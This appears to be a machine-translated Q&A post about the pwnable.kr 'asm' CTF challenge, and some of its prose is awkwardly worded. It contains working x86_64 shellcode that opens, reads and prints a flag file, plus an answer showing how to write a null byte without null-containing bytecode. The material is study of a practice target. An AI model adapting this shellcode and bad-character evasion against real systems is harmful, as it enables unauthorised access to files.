2016-12-17 20 views
-1

我試圖從pwnable.kr(toddlers bottle,asm)解決CTF任務,其中我必須編寫一個「shellcode」,它將打開,讀取和寫入文件內容(包含旗)。在shellcode中處理字符串

我的代碼如下:

global _start 

section .text 

_start: 
    jmp mesg 
    shellcode: 
    ; open 
    pop rdi ; rdi points to file_name and trash 
    xor rsi, rsi 
    mov al, 2 ; sys_open 
    syscall 

    ; read 
    mov rdi, rax 
    xor rax, rax ; sys_read 
    lea rsi, [rsp] 
    mov dl, 0x20 
    syscall 

    ; write 
    mov dl, al ; bytes read 
    xor rax, rax 
    mov al, 1 ; sys_write 
    mov dil, 1 ; stdout 
    lea rsi, [rsp] 
    syscall 

    ; crash 
    xor ebx, ebx 
    xor eax, eax 
    div ebx 

mesg: 
    call shellcode 
    db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00 
section .data 

除以0是有停止執行並避免與call shellcode

長串是包含標誌的文件的名稱循環。

我找到了竅門與坡平字符串的地址到寄存器中的位置:Linux Shellcode "Hello, World!"

我的問題是:文件名不爲空終止。因此,當調用sys_open時,文件名在實際字符串後面包含垃圾回收。

我試圖做成才,如:

xor al, al 
mov byte [rdi + 464], al 

彈出到RDI手動插入NULL,但我無法擺脫從字節碼NULL後(shellcode的會從標準輸入讀取,所以這是一個問題)。

處理這個問題的最佳方法是什麼?

體系結構:x86_64

回答

1

許多方法來寫0字節空閒代碼。舉一個例子:

xor eax, eax 
mov al, 116 
mov byte [rdi+rax*4],ah